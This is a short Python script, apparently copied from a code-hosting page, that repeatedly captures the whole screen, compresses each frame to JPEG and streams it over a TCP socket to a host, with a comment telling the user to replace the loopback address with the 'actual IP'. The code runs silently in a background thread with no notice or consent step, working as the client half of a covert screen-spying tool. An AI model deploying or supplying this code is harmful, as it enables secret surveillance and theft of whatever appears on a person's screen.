28 lines
656 B
Python
28 lines
656 B
Python
import socket
|
|
import threading
|
|
import time
|
|
from PIL import ImageGrab
|
|
import io
|
|
|
|
def send_screen():
|
|
while True:
|
|
img = ImageGrab.grab()
|
|
img = img.resize((800, 600))
|
|
buf = io.BytesIO()
|
|
img.save(buf, format='JPEG', quality=50)
|
|
data = buf.getvalue()
|
|
try:
|
|
s.send(len(data).to_bytes(4, byteorder='big') + data)
|
|
except:
|
|
break
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect(("127.0.0.1", 9999)) # Replace with actual IP
|
|
threading.Thread(target=send_screen, daemon=True).start()
|
|
|
|
try:
|
|
while True:
|
|
time.sleep(1)
|
|
except KeyboardInterrupt:
|
|
s.close()
|